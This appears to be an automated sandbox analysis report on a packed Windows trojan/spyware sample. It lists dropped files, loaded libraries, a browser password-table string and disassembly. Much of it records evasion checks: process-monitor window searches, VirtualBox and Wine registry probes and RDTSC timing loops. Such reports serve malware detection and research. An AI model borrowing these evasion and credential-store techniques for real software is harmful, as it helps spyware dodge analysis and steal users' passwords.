Source: file.exe, 00000001.00000003.2000206012.00000000005E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2011867834.00000000005D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2024843137.00000000007DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2018569911.00000000007D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2010546196.00000000007D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2007615123.00000000007D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2004978531.00000000053F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2003850084.00000000005DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2008196088.00000000005E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2013969784.00000000005D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2024092726.00000000007E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2002739652.00000000007DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2003745247.00000000007D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2012199422.00000000005E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2025407253.0000000005702000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2025216561.00000000007D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2002400736.00000000005D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2021961083.000000000090C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1999831103.00000000005DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2010833490.00000000007D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2017796653.00000000007D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2009982867.00000000007D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2000924507.00000000007D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2008462939.00000000005D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2006349481.00000000007D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2023901704.0000000005702000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9979978938087775

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@5/2

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\5C18KRB735WCGR95JY.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000001.00000003.1676801671.0000000005326000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1373947533.0000000005337000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1676605801.000000000533E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 5C18KRB735WCGR95JY.exe

String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe "C:\Users\user~1\AppData\Local\Temp\5C18KRB735WCGR95JY.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe "C:\Users\user~1\AppData\Local\Temp\5C18KRB735WCGR95JY.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Section loaded: sspicli.dll	Jump to behavior

Source: file.exe

Static file information: File size 3001856 > 1048576

Source: file.exe

Static PE information: Raw size of pyqjlwct is bigger than: 0x100000 < 0x2b1400

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Unpacked PE file: 6.2.5C18KRB735WCGR95JY.exe.c90000.0.unpack :EW;.rsrc:W;.idata :W;kaxzithc:EW;nikdhiya:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 5C18KRB735WCGR95JY.exe.1.dr	Static PE information: real checksum: 0x2b5c70 should be: 0x2bff1e
Source: file.exe	Static PE information: real checksum: 0x2e5536 should be: 0x2ec8f4

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: pyqjlwct
Source: file.exe	Static PE information: section name: grnqerss
Source: file.exe	Static PE information: section name: .taggant
Source: 5C18KRB735WCGR95JY.exe.1.dr	Static PE information: section name:
Source: 5C18KRB735WCGR95JY.exe.1.dr	Static PE information: section name: .idata
Source: 5C18KRB735WCGR95JY.exe.1.dr	Static PE information: section name: kaxzithc
Source: 5C18KRB735WCGR95JY.exe.1.dr	Static PE information: section name: nikdhiya
Source: 5C18KRB735WCGR95JY.exe.1.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007616C8 push ds; ret	1_3_007616C9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007616C8 push ds; ret	1_3_007616C9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007616C8 push ds; ret	1_3_007616C9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007616C8 push ds; ret	1_3_007616C9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007616C8 push ds; ret	1_3_007616C9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007616C8 push ds; ret	1_3_007616C9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007616C8 push ds; ret	1_3_007616C9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007616C8 push ds; ret	1_3_007616C9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007616C8 push ds; ret	1_3_007616C9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0072CB54 push esp; retf	1_3_0072CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_0072CB58 push esp; retf	1_3_0072CB59
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_007324C4 push eax; ret	1_3_007324D9
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00C9E853 push ebx; mov dword ptr [esp], edx	6_2_00C9EFFE
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00E1618C push ebp; mov dword ptr [esp], eax	6_2_00E161A7
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00E1618C push ecx; mov dword ptr [esp], ebx	6_2_00E161D5
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00E1618C push ecx; mov dword ptr [esp], 43F62FEEh	6_2_00E161F3
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00C9ECD4 push edi; mov dword ptr [esp], edx	6_2_00C9F03E
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00C9ECD4 push edx; mov dword ptr [esp], edi	6_2_00C9F2C4
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00CA18CA push 3F1680E8h; mov dword ptr [esp], eax	6_2_00CA2278
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00E2B8E2 push 121C11A1h; mov dword ptr [esp], edx	6_2_00E2B8F4
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00E2B8E2 push 6A821B41h; mov dword ptr [esp], ecx	6_2_00E2BB3F
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00CA08C8 push 1824B344h; mov dword ptr [esp], esp	6_2_00CA19F0
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00E298E4 push 181A4388h; mov dword ptr [esp], eax	6_2_00E298EF
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00C9C0C4 push 45E75AB3h; mov dword ptr [esp], ebx	6_2_00C9C0D3
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00CA18EB push 55495A84h; mov dword ptr [esp], edx	6_2_00CA3751
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00E2B0D2 push esi; mov dword ptr [esp], edi	6_2_00E322AE
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00E2B0D2 push ebp; mov dword ptr [esp], 6D60C0E0h	6_2_00E32336
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00E2B0D2 push 01932602h; mov dword ptr [esp], ebx	6_2_00E323EA
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00E2B0D2 push ecx; mov dword ptr [esp], 697FD228h	6_2_00E323F0
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00C9E8F4 push 58374ED4h; mov dword ptr [esp], ecx	6_2_00C9F6A3
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Code function: 6_2_00C9E8F4 push ecx; mov dword ptr [esp], 228764B3h	6_2_00C9F6AA

Source: file.exe	Static PE information: section name: entropy: 7.9704430907807815
Source: 5C18KRB735WCGR95JY.exe.1.dr	Static PE information: section name: entropy: 7.792473712299415

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9B83C second address: C9B842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9B842 second address: C9B861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007FBC14D8F5B6h 0x0000000c jmp 00007FBC14D8F5C1h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA905D second address: CA9063 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9063 second address: CA906D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA91A5 second address: CA91BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jo 00007FBC154CB166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBC154CB16Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA91BD second address: CA91C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA945B second address: CA9469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FBC154CB166h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9598 second address: CA95A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBC14D8F5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB1DB second address: CAB1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC154CB16Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB1EF second address: CAB1F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB393 second address: CAB398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB398 second address: CAB3A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FBC14D8F5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB53D second address: CAB54A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB54A second address: CAB54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB59D second address: CAB5C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b movzx edx, si 0x0000000e push 00000000h 0x00000010 push E31B974Ch 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB5C6 second address: CAB5CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB5CA second address: CAB5CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB5CE second address: CAB66E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 add dword ptr [esp], 1CE46934h 0x0000000e mov dword ptr [ebp+122D282Eh], esi 0x00000014 jmp 00007FBC14D8F5BEh 0x00000019 push 00000003h 0x0000001b jc 00007FBC14D8F5BCh 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 call 00007FBC14D8F5B8h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], ebx 0x00000030 add dword ptr [esp+04h], 00000018h 0x00000038 inc ebx 0x00000039 push ebx 0x0000003a ret 0x0000003b pop ebx 0x0000003c ret 0x0000003d add edi, 1AAAF433h 0x00000043 jmp 00007FBC14D8F5C7h 0x00000048 push 00000003h 0x0000004a mov cx, 2B90h 0x0000004e push DC979007h 0x00000053 jmp 00007FBC14D8F5BCh 0x00000058 xor dword ptr [esp], 1C979007h 0x0000005f push edx 0x00000060 pop edx 0x00000061 lea ebx, dword ptr [ebp+1245010Fh] 0x00000067 mov dword ptr [ebp+122D3172h], edx 0x0000006d xchg eax, ebx 0x0000006e push esi 0x0000006f pushad 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
